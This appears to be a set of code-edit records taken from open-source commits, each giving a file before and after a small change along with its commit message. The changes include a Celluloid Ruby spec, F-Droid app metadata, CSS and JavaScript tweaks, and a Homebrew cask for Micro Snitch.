require 'spec_helper' describe "Celluloid.pool" do before do class ExampleError < StandardError; end class MyWorker include Celluloid def process(queue = nil) if queue queue << :done else :done end end def crash raise ExampleError, "zomgcrash" end end end subject { MyWorker.pool } it "processes work units synchronously" do subject.process.should == :done end it "processes work units asynchronously" do queue = Queue.new subject.process!(queue) queue.pop.should == :done end it "handles crashes", :pending => (RUBY_ENGINE == 'rbx') do expect { subject.crash }.to raise_error(ExampleError) subject.process.should == :done end it "uses a fixed-sized number of threads" do pool = MyWorker.pool actors = Celluloid::Actor.all 100.times.map { pool.future(:process) }.map(&:value) new_actors = Celluloid::Actor.all - actors new_actors.should eq [] end end
Use Actor.all in pool spec
Use Actor.all in pool spec
Ruby
mit
TiagoCardoso1983/celluloid,mehta/celluloid,davydovanton/celluloid,sideci-sample/sideci-sample-celluloid,jstoja/celluloid,tarcieri/celluloid,jasonm23/celluloid,celluloid/celluloid,kenichi/celluloid,seuros/celluloid,olleolleolle/celluloid,marshall-lee/celluloid,dilumn/celluloid
ruby
## Code Before: require 'spec_helper' describe "Celluloid.pool" do before do class ExampleError < StandardError; end class MyWorker include Celluloid def process(queue = nil) if queue queue << :done else :done end end def crash raise ExampleError, "zomgcrash" end end end subject { MyWorker.pool } it "processes work units synchronously" do subject.process.should == :done end it "processes work units asynchronously" do queue = Queue.new subject.process!(queue) queue.pop.should == :done end it "handles crashes", :pending => (RUBY_ENGINE == 'rbx') do expect { subject.crash }.to raise_error(ExampleError) subject.process.should == :done end it "uses a fixed-sized number of threads" do # Eagerly evaluate subject to spawn the pool subject thread_count = Thread.list.size 100.times.map { subject.future(:process) }.map(&:value) Thread.list.size.should == thread_count end end ## Instruction: Use Actor.all in pool spec ## Code After: require 'spec_helper' describe "Celluloid.pool" do before do class ExampleError < StandardError; end class MyWorker include Celluloid def process(queue = nil) if queue queue << :done else :done end end def crash raise ExampleError, "zomgcrash" end end end subject { MyWorker.pool } it "processes work units synchronously" do subject.process.should == :done end it "processes work units asynchronously" do queue = Queue.new subject.process!(queue) queue.pop.should == :done end it "handles crashes", :pending => (RUBY_ENGINE == 'rbx') do expect { subject.crash }.to raise_error(ExampleError) subject.process.should == :done end it "uses a fixed-sized number of threads" do pool = MyWorker.pool actors = Celluloid::Actor.all 100.times.map { pool.future(:process) }.map(&:value) new_actors = Celluloid::Actor.all - actors new_actors.should eq [] end end
aa2fe48e04b506d8153b3a2f5f839e0584f89f28
metadata/com.phg.constellations.txt
metadata/com.phg.constellations.txt
Categories:Office License:MIT Web Site: Source Code:https://github.com/gituser1357/constellations Issue Tracker:https://github.com/gituser1357/constellations/issues Auto Name:Constellations Summary:Show star charts and data Description: Star charts and data of the 88 modern constellations, based on data by Wikipedia. . Repo Type:git Repo:https://github.com/gituser1357/constellations Build:2.0.2,10004 commit=v2.0.2 subdir=app gradle=yes Auto Update Mode:Version v%v Update Check Mode:Tags Current Version:2.0.2 Current Version Code:10004
Categories:Office License:MIT Web Site: Source Code:https://github.com/gituser1357/constellations Issue Tracker:https://github.com/gituser1357/constellations/issues Auto Name:Constellations Summary:Show star charts and data Description: Star charts and data of the 88 modern constellations, based on data by Wikipedia. . Repo Type:git Repo:https://github.com/gituser1357/constellations Build:2.0.2,10004 commit=v2.0.2 subdir=app gradle=yes Build:2.0.3,10005 commit=v2.0.3 subdir=app gradle=yes Auto Update Mode:Version v%v Update Check Mode:Tags Current Version:2.0.3 Current Version Code:10005
Update Constellations to 2.0.3 (10005)
Update Constellations to 2.0.3 (10005)
Text
agpl-3.0
f-droid/fdroiddata,f-droid/fdroiddata,f-droid/fdroid-data
text
## Code Before: Categories:Office License:MIT Web Site: Source Code:https://github.com/gituser1357/constellations Issue Tracker:https://github.com/gituser1357/constellations/issues Auto Name:Constellations Summary:Show star charts and data Description: Star charts and data of the 88 modern constellations, based on data by Wikipedia. . Repo Type:git Repo:https://github.com/gituser1357/constellations Build:2.0.2,10004 commit=v2.0.2 subdir=app gradle=yes Auto Update Mode:Version v%v Update Check Mode:Tags Current Version:2.0.2 Current Version Code:10004 ## Instruction: Update Constellations to 2.0.3 (10005) ## Code After: Categories:Office License:MIT Web Site: Source Code:https://github.com/gituser1357/constellations Issue Tracker:https://github.com/gituser1357/constellations/issues Auto Name:Constellations Summary:Show star charts and data Description: Star charts and data of the 88 modern constellations, based on data by Wikipedia. . Repo Type:git Repo:https://github.com/gituser1357/constellations Build:2.0.2,10004 commit=v2.0.2 subdir=app gradle=yes Build:2.0.3,10005 commit=v2.0.3 subdir=app gradle=yes Auto Update Mode:Version v%v Update Check Mode:Tags Current Version:2.0.3 Current Version Code:10005
8739f26fbeec2e7320cbdc2afb86eaf67ec860c5
localore/localore/static/css/localore.css
localore/localore/static/css/localore.css
.rich-text img { max-width: 100%; height: auto; } .responsive-object { padding-bottom: 0px !important; }
.rich-text img { max-width: 100%; height: auto; } .responsive-object { padding-bottom: 0px !important; } .j-filters { display: none !important; } .juicer-feed.image-grid .j-poster { visibility: visible !important; opacity: 1 !important; }
Hide feed filters, show post author/date.
Juicer: Hide feed filters, show post author/date.
CSS
mpl-2.0
ghostwords/localore,ghostwords/localore,ghostwords/localore
css
## Code Before: .rich-text img { max-width: 100%; height: auto; } .responsive-object { padding-bottom: 0px !important; } ## Instruction: Juicer: Hide feed filters, show post author/date. ## Code After: .rich-text img { max-width: 100%; height: auto; } .responsive-object { padding-bottom: 0px !important; } .j-filters { display: none !important; } .juicer-feed.image-grid .j-poster { visibility: visible !important; opacity: 1 !important; }
9080295b8bd2acf1968dd140dd32172cea05efdb
assets/sass/govuk/elements/_global-cookie-message.scss
assets/sass/govuk/elements/_global-cookie-message.scss
background: $light-blue-25; padding: 10px; font-size: em(16); .js-enabled & { display: none; } }
background: $light-blue-25; padding: 10px; font-size: em(16); p { margin: 0; } .js-enabled & { display: none; } }
Set paragraph margin to 0 in cookies message
Set paragraph margin to 0 in cookies message
SCSS
mit
mojular/govuk-elements
scss
## Code Before: background: $light-blue-25; padding: 10px; font-size: em(16); .js-enabled & { display: none; } } ## Instruction: Set paragraph margin to 0 in cookies message ## Code After: background: $light-blue-25; padding: 10px; font-size: em(16); p { margin: 0; } .js-enabled & { display: none; } }
d3cb7dd14cb91d379836c1e93226d1ac56942f0c
src/index.ts
src/index.ts
import LocalTimeElement from './local-time-element' import RelativeTimeElement from './relative-time-element' import TimeAgoElement from './time-ago-element' import TimeUntilElement from './time-until-element' export {LocalTimeElement, RelativeTimeElement, TimeAgoElement, TimeUntilElement}
import LocalTimeElement from './local-time-element.js' import RelativeTimeElement from './relative-time-element.js' import TimeAgoElement from './time-ago-element.js' import TimeUntilElement from './time-until-element.js' export {LocalTimeElement, RelativeTimeElement, TimeAgoElement, TimeUntilElement}
Add file extensions to imports for ES Module support
Add file extensions to imports for ES Module support
TypeScript
mit
github/time-elements,github/time-elements
typescript
## Code Before: import LocalTimeElement from './local-time-element' import RelativeTimeElement from './relative-time-element' import TimeAgoElement from './time-ago-element' import TimeUntilElement from './time-until-element' export {LocalTimeElement, RelativeTimeElement, TimeAgoElement, TimeUntilElement} ## Instruction: Add file extensions to imports for ES Module support ## Code After: import LocalTimeElement from './local-time-element.js' import RelativeTimeElement from './relative-time-element.js' import TimeAgoElement from './time-ago-element.js' import TimeUntilElement from './time-until-element.js' export {LocalTimeElement, RelativeTimeElement, TimeAgoElement, TimeUntilElement}
b95730a6aefdf38f89ae4717148af45a1161a8ae
app/subapps/browser/templates/browser_qa.handlebars
app/subapps/browser/templates/browser_qa.handlebars
<h3>Quality Rating: {{totalScore}}/{{totalAvailable}}</h3> <p>This charm has scored {{totalScore}} out of a maximum of {{totalAvailable}} points on the criteria below.</p> <div class="qa_data"> {{#each questions}} <h3>{{this.description}} <span class="heading_notes">{{this.score}}/{{this.questions.length}} points</span></h3> <ul> {{#each this.questions}} <li> <input type="checkbox" {{#if this.score}}checked="checked"{{/if}} /> {{this.description}} </li> {{/each}} </ul> {{/each}} </div>
<h3>Quality Rating: {{totalScore}}/{{totalAvailable}}</h3> <p>This charm has scored {{totalScore}} out of a maximum of {{totalAvailable}} points on the criteria below.</p> <div class="qa_data"> {{#each questions}} <h3>{{description}} <span class="heading_notes">{{score}}/{{questions.length}} points</span></h3> <ul> {{#each questions}} <li> <input type="checkbox" {{#if score}}checked="checked"{{/if}} /> {{description}} </li> {{/each}} </ul> {{/each}} </div>
Remove the this explicit reference in the templates
Remove the this explicit reference in the templates
Handlebars
agpl-3.0
mitechie/juju-gui,jrwren/juju-gui,CanonicalJS/juju-gui,CanonicalJS/juju-gui,mitechie/juju-gui,CanonicalJS/juju-gui,bac/juju-gui,jrwren/juju-gui,jrwren/juju-gui,bac/juju-gui,bac/juju-gui,mitechie/juju-gui,mitechie/juju-gui,bac/juju-gui,jrwren/juju-gui
handlebars
## Code Before: <h3>Quality Rating: {{totalScore}}/{{totalAvailable}}</h3> <p>This charm has scored {{totalScore}} out of a maximum of {{totalAvailable}} points on the criteria below.</p> <div class="qa_data"> {{#each questions}} <h3>{{this.description}} <span class="heading_notes">{{this.score}}/{{this.questions.length}} points</span></h3> <ul> {{#each this.questions}} <li> <input type="checkbox" {{#if this.score}}checked="checked"{{/if}} /> {{this.description}} </li> {{/each}} </ul> {{/each}} </div> ## Instruction: Remove the this explicit reference in the templates ## Code After: <h3>Quality Rating: {{totalScore}}/{{totalAvailable}}</h3> <p>This charm has scored {{totalScore}} out of a maximum of {{totalAvailable}} points on the criteria below.</p> <div class="qa_data"> {{#each questions}} <h3>{{description}} <span class="heading_notes">{{score}}/{{questions.length}} points</span></h3> <ul> {{#each questions}} <li> <input type="checkbox" {{#if score}}checked="checked"{{/if}} /> {{description}} </li> {{/each}} </ul> {{/each}} </div>
507d665f6d754ffdef5f494ee9e58aa833177b94
capstone/src/main/webapp/dashboard-loader.js
capstone/src/main/webapp/dashboard-loader.js
document.body.prepend(dynamicButton); window.addEventListener('authorized', getClassrooms); function createClassroom(subject) { var auth2 = gapi.auth2.getAuthInstance(); var name = ""; var email = ""; if (auth2.isSignedIn.get()) { name = auth2.currentUser.get().getBasicProfile().getName(); email = auth2.currentUser.get().getBasicProfile().getEmail(); } var classroomData = JSON.stringify({ "nickname": name, "userId": email, "subject": subject }); fetch("/dashboard", {method: "POST", headers: new Headers({ID_TOKEN}), body: classroomData}).then((resp) => { if (resp.ok){ getClassrooms(); } else { console.log("Error has occured"); } }); } function getClassrooms() { fetch("/dashboard", {method: "GET", headers: new Headers({ID_TOKEN})}).then(response => response.json()).then((classroomsList) => { const classroomElement = document.getElementById("classroom-container"); classroomElement.innerHTML = ""; for (classroom of classroomsList) { classroomElement.appendChild(createClassroomDivElement(classroom)); }; }); } function createClassroomDivElement(classroom) { let domparser = new DOMParser(); let doc = domparser.parseFromString(` <div class="classroom"> <h2>${classroom.entity.propertyMap.subject}</h2> <p><a href="form.html">Classroom Link</a></p> </div> `, "text/html"); return doc.body; }
document.body.prepend(dynamicButton); window.addEventListener('authorized', getClassrooms); function createClassroom(subject) { var classroomData = JSON.stringify({"subject": subject}); fetch("/dashboard", {method: "POST", headers: new Headers({ID_TOKEN}), body: classroomData}).then((resp) => { if (resp.ok){ getClassrooms(); } else { console.log("Error has occured"); } }); } function getClassrooms() { fetch("/dashboard", {method: "GET", headers: new Headers({ID_TOKEN})}).then(response => response.json()).then((classroomsList) => { const classroomElement = document.getElementById("classroom-container"); classroomElement.innerHTML = ""; for (classroom of classroomsList) { classroomElement.appendChild(createClassroomDivElement(classroom)); }; }); } function createClassroomDivElement(classroom) { let domparser = new DOMParser(); let doc = domparser.parseFromString(` <div class="classroom"> <h2>${classroom.entity.propertyMap.subject}</h2> <p><a href="form.html">Classroom Link</a></p> </div> `, "text/html"); return doc.body; }
Remove unneeded user info in request
Remove unneeded user info in request
JavaScript
apache-2.0
googleinterns/step152-2020,googleinterns/step152-2020,googleinterns/step152-2020,googleinterns/step152-2020
javascript
## Code Before: document.body.prepend(dynamicButton); window.addEventListener('authorized', getClassrooms); function createClassroom(subject) { var auth2 = gapi.auth2.getAuthInstance(); var name = ""; var email = ""; if (auth2.isSignedIn.get()) { name = auth2.currentUser.get().getBasicProfile().getName(); email = auth2.currentUser.get().getBasicProfile().getEmail(); } var classroomData = JSON.stringify({ "nickname": name, "userId": email, "subject": subject }); fetch("/dashboard", {method: "POST", headers: new Headers({ID_TOKEN}), body: classroomData}).then((resp) => { if (resp.ok){ getClassrooms(); } else { console.log("Error has occured"); } }); } function getClassrooms() { fetch("/dashboard", {method: "GET", headers: new Headers({ID_TOKEN})}).then(response => response.json()).then((classroomsList) => { const classroomElement = document.getElementById("classroom-container"); classroomElement.innerHTML = ""; for (classroom of classroomsList) { classroomElement.appendChild(createClassroomDivElement(classroom)); }; }); } function createClassroomDivElement(classroom) { let domparser = new DOMParser(); let doc = domparser.parseFromString(` <div class="classroom"> <h2>${classroom.entity.propertyMap.subject}</h2> <p><a href="form.html">Classroom Link</a></p> </div> `, "text/html"); return doc.body; } ## Instruction: Remove unneeded user info in request ## Code After: document.body.prepend(dynamicButton); window.addEventListener('authorized', getClassrooms); function createClassroom(subject) { var classroomData = JSON.stringify({"subject": subject}); fetch("/dashboard", {method: "POST", headers: new Headers({ID_TOKEN}), body: classroomData}).then((resp) => { if (resp.ok){ getClassrooms(); } else { console.log("Error has occured"); } }); } function getClassrooms() { fetch("/dashboard", {method: "GET", headers: new Headers({ID_TOKEN})}).then(response => response.json()).then((classroomsList) => { const classroomElement = document.getElementById("classroom-container"); classroomElement.innerHTML = ""; for (classroom of classroomsList) { classroomElement.appendChild(createClassroomDivElement(classroom)); }; }); } function createClassroomDivElement(classroom) { let domparser = new DOMParser(); let doc = domparser.parseFromString(` <div class="classroom"> <h2>${classroom.entity.propertyMap.subject}</h2> <p><a href="form.html">Classroom Link</a></p> </div> `, "text/html"); return doc.body; }
0530f52ff8d27f8dae875a6395aa8c02c412a0b6
package.json
package.json
{ "name": "verifier", "description": "Firebase Profile Application", "main": "worker.js", "author": "Chris Boesch <[email protected]>", "homepage": "http://chrisboesch.com", "dependencies": { "firebase": "2.4.2", "firebase-queue": "latest", "request": "latest", "x-ray": "^2.3.0" }, "devDependencies": { "chai": "3.5.0", "coveralls": "^2.11.9", "firebase-token-generator": "^2.0.0", "istanbul": "^0.4.3", "istanbul-coveralls": "^1.0.3", "mocha": "2.4.5", "mocha-lcov-reporter": "^1.2.0", "mockfirebase": "latest", "node-lambda": "^0.8.5", "proxyquire": "latest", "sinon": "latest", "superagent": "1.8.3", "targaryen": "^2.1.1" }, "scripts": { "test": "./node_modules/mocha/bin/mocha test/*.spec.js", "coverage": "./node_modules/.bin/istanbul cover ./node_modules/.bin/_mocha", "travis-ci": "./node_modules/.bin/istanbul cover ./node_modules/.bin/_mocha && ./node_modules/.bin/istanbul-coveralls;" } }
{ "name": "verifier", "description": "Firebase Profile Application", "main": "worker.js", "author": "Chris Boesch <[email protected]>", "homepage": "http://chrisboesch.com", "dependencies": { "firebase": "2.4.2", "firebase-queue": "latest", "request": "latest", "x-ray": "^2.3.0" }, "devDependencies": { "chai": "3.5.0", "coveralls": "^2.11.9", "firebase-token-generator": "^2.0.0", "istanbul": "^0.4.3", "istanbul-coveralls": "^1.0.3", "mocha": "2.4.5", "mocha-lcov-reporter": "^1.2.0", "mockfirebase": "latest", "node-lambda": "^0.8.5", "proxyquire": "latest", "sinon": "latest", "superagent": "1.8.3", "targaryen": "^2.1.1" }, "scripts": { "test": "./node_modules/mocha/bin/mocha test/*.spec.js", "coverage": "./node_modules/.bin/istanbul cover --report lcov --report text --print none ./node_modules/.bin/_mocha", "travis-ci": "./node_modules/.bin/istanbul cover ./node_modules/.bin/_mocha && ./node_modules/.bin/istanbul-coveralls;" } }
Replace summary report with the text report
Replace summary report with the text report Keep the default lcov. To see the html report, `nom run coverage && open coverage/lcov-report/index.html`
JSON
mit
ClassMentors/profile-updater
json
## Code Before: { "name": "verifier", "description": "Firebase Profile Application", "main": "worker.js", "author": "Chris Boesch <[email protected]>", "homepage": "http://chrisboesch.com", "dependencies": { "firebase": "2.4.2", "firebase-queue": "latest", "request": "latest", "x-ray": "^2.3.0" }, "devDependencies": { "chai": "3.5.0", "coveralls": "^2.11.9", "firebase-token-generator": "^2.0.0", "istanbul": "^0.4.3", "istanbul-coveralls": "^1.0.3", "mocha": "2.4.5", "mocha-lcov-reporter": "^1.2.0", "mockfirebase": "latest", "node-lambda": "^0.8.5", "proxyquire": "latest", "sinon": "latest", "superagent": "1.8.3", "targaryen": "^2.1.1" }, "scripts": { "test": "./node_modules/mocha/bin/mocha test/*.spec.js", "coverage": "./node_modules/.bin/istanbul cover ./node_modules/.bin/_mocha", "travis-ci": "./node_modules/.bin/istanbul cover ./node_modules/.bin/_mocha && ./node_modules/.bin/istanbul-coveralls;" } } ## Instruction: Replace summary report with the text report Keep the default lcov. To see the html report, `nom run coverage && open coverage/lcov-report/index.html` ## Code After: { "name": "verifier", "description": "Firebase Profile Application", "main": "worker.js", "author": "Chris Boesch <[email protected]>", "homepage": "http://chrisboesch.com", "dependencies": { "firebase": "2.4.2", "firebase-queue": "latest", "request": "latest", "x-ray": "^2.3.0" }, "devDependencies": { "chai": "3.5.0", "coveralls": "^2.11.9", "firebase-token-generator": "^2.0.0", "istanbul": "^0.4.3", "istanbul-coveralls": "^1.0.3", "mocha": "2.4.5", "mocha-lcov-reporter": "^1.2.0", "mockfirebase": "latest", "node-lambda": "^0.8.5", "proxyquire": "latest", "sinon": "latest", "superagent": "1.8.3", "targaryen": "^2.1.1" }, "scripts": { "test": "./node_modules/mocha/bin/mocha test/*.spec.js", "coverage": "./node_modules/.bin/istanbul cover --report lcov --report text --print none ./node_modules/.bin/_mocha", "travis-ci": "./node_modules/.bin/istanbul cover ./node_modules/.bin/_mocha && ./node_modules/.bin/istanbul-coveralls;" } }
c2ed13bf86ac74716e8b1b50e99be5312b431ac2
style.css
style.css
h1 { text-align: center; } h2 { text-align: center; } .row { display: flex; } .section { width: 200px; } #container { width: 100%; padding: 10% 0; } #links-div { width: 600px; margin: 0 auto; margin-top: 50px; }
a { text-decoration: none; color: #000000; } a:hover { color: #FFFFFF; } body { background-color: #2c3e50; } h1 { text-align: center; } h2 { text-align: center; margin-bottom: 20px; } li { list-style-type: none; padding: 0 0; } li a { display: block; width: 100%; padding: 20px 0; } ul { padding: 0; } .row { display: flex; } .section { width: 250px; margin: 5px; padding: 5px; } #container { width: 100%; padding: 10% 0; } #links-div { width: 750px; margin: 0 auto; margin-top: 50px; } #reddit-div { background-color: #e74c3c; } #reddit-div a:hover { background-color: #c0392b; } #reddit-div li a { text-indent: 30px; } #videos-div { background-color: #2ecc71; } #videos-div a:hover{ background-color: #27ae60; } #videos-div li a { text-indent: 64px; } #programming-div { background-color: #3498db; } #programming-div a:hover { background-color: #2980b9; } #programming-div li a { text-indent: 50px; }
Add color and modify link handling
Add color and modify link handling Add colors for the index page and also add some structure and highlighting to the links.
CSS
mit
ExcaliburZero/startpage
css
## Code Before: h1 { text-align: center; } h2 { text-align: center; } .row { display: flex; } .section { width: 200px; } #container { width: 100%; padding: 10% 0; } #links-div { width: 600px; margin: 0 auto; margin-top: 50px; } ## Instruction: Add color and modify link handling Add colors for the index page and also add some structure and highlighting to the links. ## Code After: a { text-decoration: none; color: #000000; } a:hover { color: #FFFFFF; } body { background-color: #2c3e50; } h1 { text-align: center; } h2 { text-align: center; margin-bottom: 20px; } li { list-style-type: none; padding: 0 0; } li a { display: block; width: 100%; padding: 20px 0; } ul { padding: 0; } .row { display: flex; } .section { width: 250px; margin: 5px; padding: 5px; } #container { width: 100%; padding: 10% 0; } #links-div { width: 750px; margin: 0 auto; margin-top: 50px; } #reddit-div { background-color: #e74c3c; } #reddit-div a:hover { background-color: #c0392b; } #reddit-div li a { text-indent: 30px; } #videos-div { background-color: #2ecc71; } #videos-div a:hover{ background-color: #27ae60; } #videos-div li a { text-indent: 64px; } #programming-div { background-color: #3498db; } #programming-div a:hover { background-color: #2980b9; } #programming-div li a { text-indent: 50px; }
164bb99d0ded674d6202849f5e20449371dc2213
Casks/micro-snitch.rb
Casks/micro-snitch.rb
cask 'micro-snitch' do version '1.2' sha256 '7749a1bbc88a7a4bcb246d9f6d8b4d46b4faabfb95f7a8706be28570dcc09115' url "https://www.obdev.at/downloads/MicroSnitch/MicroSnitch-#{version}.zip" name 'Micro Snitch' homepage 'https://www.obdev.at/products/microsnitch/index.html' app 'Micro Snitch.app' end
cask 'micro-snitch' do version '1.2' sha256 '7749a1bbc88a7a4bcb246d9f6d8b4d46b4faabfb95f7a8706be28570dcc09115' url "https://www.obdev.at/downloads/MicroSnitch/MicroSnitch-#{version}.zip" name 'Micro Snitch' homepage 'https://www.obdev.at/products/microsnitch/index.html' auto_updates true depends_on macos: '>= :el_capitan' app 'Micro Snitch.app' uninstall quit: 'at.obdev.MicroSnitch', launchctl: 'at.obdev.MicroSnitchOpenAtLoginHelper' zap trash: [ '~/Library/Application Support/at.obdev.MicroSnitchOpenAtLoginHelper', '~/Library/Application Support/Micro Snitch', '~/Library/Caches/at.obdev.MicroSnitch', '~/Library/Containers/at.obdev.MicroSnitchOpenAtLoginHelper', '~/Library/Logs/Micro Snitch.log', '~/Library/Preferences/at.obdev.MicroSnitch.plist', ] end
Add auto_updates, depends_on, uninstall and zap
Add auto_updates, depends_on, uninstall and zap
Ruby
bsd-2-clause
jgarber623/homebrew-cask,sjackman/homebrew-cask,joshka/homebrew-cask,jconley/homebrew-cask,sebcode/homebrew-cask,singingwolfboy/homebrew-cask,morganestes/homebrew-cask,imgarylai/homebrew-cask,uetchy/homebrew-cask,yuhki50/homebrew-cask,paour/homebrew-cask,yutarody/homebrew-cask,gyndav/homebrew-cask,colindean/homebrew-cask,m3nu/homebrew-cask,kesara/homebrew-cask,alebcay/homebrew-cask,rajiv/homebrew-cask,singingwolfboy/homebrew-cask,shoichiaizawa/homebrew-cask,jconley/homebrew-cask,blogabe/homebrew-cask,m3nu/homebrew-cask,kronicd/homebrew-cask,julionc/homebrew-cask,jasmas/homebrew-cask,shoichiaizawa/homebrew-cask,amatos/homebrew-cask,My2ndAngelic/homebrew-cask,tangestani/homebrew-cask,deiga/homebrew-cask,JosephViolago/homebrew-cask,reelsense/homebrew-cask,xight/homebrew-cask,bosr/homebrew-cask,julionc/homebrew-cask,andrewdisley/homebrew-cask,MircoT/homebrew-cask,jalaziz/homebrew-cask,danielbayley/homebrew-cask,ericbn/homebrew-cask,michelegera/homebrew-cask,mahori/homebrew-cask,nathanielvarona/homebrew-cask,kronicd/homebrew-cask,xight/homebrew-cask,cobyism/homebrew-cask,Ephemera/homebrew-cask,stephenwade/homebrew-cask,nathanielvarona/homebrew-cask,adrianchia/homebrew-cask,okket/homebrew-cask,usami-k/homebrew-cask,thii/homebrew-cask,rogeriopradoj/homebrew-cask,malob/homebrew-cask,aguynamedryan/homebrew-cask,stonehippo/homebrew-cask,maxnordlund/homebrew-cask,winkelsdorf/homebrew-cask,xyb/homebrew-cask,dictcp/homebrew-cask,mahori/homebrew-cask,yutarody/homebrew-cask,troyxmccall/homebrew-cask,usami-k/homebrew-cask,yutarody/homebrew-cask,mjgardner/homebrew-cask,m3nu/homebrew-cask,wmorin/homebrew-cask,giannitm/homebrew-cask,jawshooah/homebrew-cask,moimikey/homebrew-cask,renaudguerin/homebrew-cask,haha1903/homebrew-cask,victorpopkov/homebrew-cask,mathbunnyru/homebrew-cask,jgarber623/homebrew-cask,BenjaminHCCarr/homebrew-cask,wmorin/homebrew-cask,shoichiaizawa/homebrew-cask,ericbn/homebrew-cask,coeligena/homebrew-customized,JosephViolago/homebrew-cask,kesara/homebrew-cask,mchlrmrz/homebrew-cask,joschi/homebrew-cask,chrisfinazzo/homebrew-cask,joschi/homebrew-cask,neverfox/homebrew-cask,alebcay/homebrew-cask,deiga/homebrew-cask,JosephViolago/homebrew-cask,rajiv/homebrew-cask,cobyism/homebrew-cask,danielbayley/homebrew-cask,janlugt/homebrew-cask,pkq/homebrew-cask,nathanielvarona/homebrew-cask,kingthorin/homebrew-cask,yuhki50/homebrew-cask,reitermarkus/homebrew-cask,mathbunnyru/homebrew-cask,alebcay/homebrew-cask,kingthorin/homebrew-cask,mrmachine/homebrew-cask,stephenwade/homebrew-cask,wastrachan/homebrew-cask,chrisfinazzo/homebrew-cask,reitermarkus/homebrew-cask,josa42/homebrew-cask,esebastian/homebrew-cask,alexg0/homebrew-cask,gyndav/homebrew-cask,BenjaminHCCarr/homebrew-cask,giannitm/homebrew-cask,andyli/homebrew-cask,mjgardner/homebrew-cask,mjgardner/homebrew-cask,paour/homebrew-cask,joshka/homebrew-cask,tangestani/homebrew-cask,BenjaminHCCarr/homebrew-cask,scottsuch/homebrew-cask,malob/homebrew-cask,JacopKane/homebrew-cask,mattrobenolt/homebrew-cask,haha1903/homebrew-cask,reelsense/homebrew-cask,sscotth/homebrew-cask,Ephemera/homebrew-cask,gyndav/homebrew-cask,yurikoles/homebrew-cask,winkelsdorf/homebrew-cask,Amorymeltzer/homebrew-cask,mchlrmrz/homebrew-cask,imgarylai/homebrew-cask,rogeriopradoj/homebrew-cask,tjnycum/homebrew-cask,moimikey/homebrew-cask,malob/homebrew-cask,stonehippo/homebrew-cask,winkelsdorf/homebrew-cask,reitermarkus/homebrew-cask,scribblemaniac/homebrew-cask,hanxue/caskroom,Ephemera/homebrew-cask,cobyism/homebrew-cask,wmorin/homebrew-cask,sjackman/homebrew-cask,lantrix/homebrew-cask,stephenwade/homebrew-cask,timsutton/homebrew-cask,danielbayley/homebrew-cask,jalaziz/homebrew-cask,josa42/homebrew-cask,toonetown/homebrew-cask,janlugt/homebrew-cask,dictcp/homebrew-cask,miccal/homebrew-cask,a1russell/homebrew-cask,adrianchia/homebrew-cask,hanxue/caskroom,Amorymeltzer/homebrew-cask,miccal/homebrew-cask,renaudguerin/homebrew-cask,nrlquaker/homebrew-cask,kingthorin/homebrew-cask,Amorymeltzer/homebrew-cask,nrlquaker/homebrew-cask,coeligena/homebrew-customized,blogabe/homebrew-cask,kesara/homebrew-cask,lantrix/homebrew-cask,bric3/homebrew-cask,kTitan/homebrew-cask,bric3/homebrew-cask,ericbn/homebrew-cask,aguynamedryan/homebrew-cask,maxnordlund/homebrew-cask,pkq/homebrew-cask,thii/homebrew-cask,cblecker/homebrew-cask,dictcp/homebrew-cask,mrmachine/homebrew-cask,mattrobenolt/homebrew-cask,caskroom/homebrew-cask,esebastian/homebrew-cask,kTitan/homebrew-cask,JacopKane/homebrew-cask,deiga/homebrew-cask,blogabe/homebrew-cask,JacopKane/homebrew-cask,jawshooah/homebrew-cask,hanxue/caskroom,a1russell/homebrew-cask,neverfox/homebrew-cask,sscotth/homebrew-cask,My2ndAngelic/homebrew-cask,mahori/homebrew-cask,andrewdisley/homebrew-cask,tjnycum/homebrew-cask,tjnycum/homebrew-cask,a1russell/homebrew-cask,cblecker/homebrew-cask,scottsuch/homebrew-cask,alexg0/homebrew-cask,optikfluffel/homebrew-cask,jgarber623/homebrew-cask,okket/homebrew-cask,scribblemaniac/homebrew-cask,morganestes/homebrew-cask,wastrachan/homebrew-cask,claui/homebrew-cask,cblecker/homebrew-cask,mathbunnyru/homebrew-cask,josa42/homebrew-cask,caskroom/homebrew-cask,sanyer/homebrew-cask,xyb/homebrew-cask,yurikoles/homebrew-cask,stonehippo/homebrew-cask,amatos/homebrew-cask,andrewdisley/homebrew-cask,sscotth/homebrew-cask,yurikoles/homebrew-cask,claui/homebrew-cask,claui/homebrew-cask,uetchy/homebrew-cask,bosr/homebrew-cask,toonetown/homebrew-cask,troyxmccall/homebrew-cask,timsutton/homebrew-cask,optikfluffel/homebrew-cask,victorpopkov/homebrew-cask,chrisfinazzo/homebrew-cask,timsutton/homebrew-cask,tangestani/homebrew-cask,antogg/homebrew-cask,joschi/homebrew-cask,joshka/homebrew-cask,moimikey/homebrew-cask,jalaziz/homebrew-cask,scribblemaniac/homebrew-cask,scottsuch/homebrew-cask,julionc/homebrew-cask,paour/homebrew-cask,antogg/homebrew-cask,neverfox/homebrew-cask,colindean/homebrew-cask,MircoT/homebrew-cask,nrlquaker/homebrew-cask,andyli/homebrew-cask,coeligena/homebrew-customized,alexg0/homebrew-cask,uetchy/homebrew-cask,pkq/homebrew-cask,xyb/homebrew-cask,sanyer/homebrew-cask,bric3/homebrew-cask,rajiv/homebrew-cask,michelegera/homebrew-cask,antogg/homebrew-cask,esebastian/homebrew-cask,xight/homebrew-cask,adrianchia/homebrew-cask,sanyer/homebrew-cask,jasmas/homebrew-cask,mattrobenolt/homebrew-cask,rogeriopradoj/homebrew-cask,miccal/homebrew-cask,mchlrmrz/homebrew-cask,sebcode/homebrew-cask,imgarylai/homebrew-cask,optikfluffel/homebrew-cask,singingwolfboy/homebrew-cask
ruby
